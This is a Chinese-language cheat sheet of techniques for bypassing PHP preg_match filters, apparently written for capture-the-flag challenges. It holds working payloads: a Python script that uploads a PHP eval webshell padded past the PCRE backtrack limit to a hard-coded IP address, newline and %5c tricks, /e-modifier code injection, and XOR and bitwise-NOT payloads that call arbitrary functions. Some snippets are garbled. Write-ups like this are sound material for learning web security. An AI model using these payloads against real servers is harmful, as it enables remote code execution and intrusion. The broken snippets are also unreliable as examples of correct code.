preg_match绕过总结
函数简介:
1 2 3
| returns 1; returns 0; returns FALSE;
|
绕过方法:
1,数组绕过
原理:
preg_match只能处理字符串,当传入的subject是数组时会返回false
2,PHP利用PCRE回溯流量限制绕过某些安全限制
1 2 3 4 5 6 7 8 9
| import requests from io import BytesIO
files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) }
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers)
|
Payload:?a=ssss………..省略n个字符,突破100万
3,换行符绕过(%0a)
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
include("flag.php");
highlight_file(__FILE__);
$c = $_GET['c'];
if (preg_match('/^flag$/i', $c) && $c !== 'flag') { echo $flag; }else{ echo "nonono"; }
|
由于pre_match这个函数是只能匹配一行的数据,所以我们可以用%0a(也就是换行符)来绕过。
这里是因为$会忽略换行符
因此本题我们传入?c=flag%0a 即可绕过
注意此时正则表达式的模式是: i
4,%5c绕过
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php show_source(__FILE__); $key = "bad"; extract($_POST);
if($key === 'bad'){
die('badbad!!!'); } $act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) { else { $act($arg,''); echo '666';
|
1 2 3 4 5
| /i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;
|
这里存在/s和/D因此它会匹配到换行,%0a因此就无法绕过。这时候就可以使用%5c
5,preg_match(“/^$/e”) (注:php版本需要小于5.5.0)
1 2 3 4
| <? highlight_file(__FILE__); echo preg_replace("/test/e",$_GET["h"],"jutst test"); ?>
|
payload=xx?h=phpinfo();
6,异或绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } highlight_file(__FILE);
|
可以使用各种特殊字符的异或构造出字母和数字
脚本:
1 2 3 4 5 6
| str = r"~!@#$%^&*()_+<>?,.;:-[]{}/"
for i in range(0, len(str)): for j in range(0, len(str)): a = ord(str[i])^ord(str[j]) print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
|
payload:
1
| ?code=$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo
|
7,取反绕过
把getFlag取反然后URL编码:
1
| <?php echo urlencode(~"getFlag");
|
–> %98%9A%8B%B9%93%9E%98
依据这个我们可以构造payload:
1
| ?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
|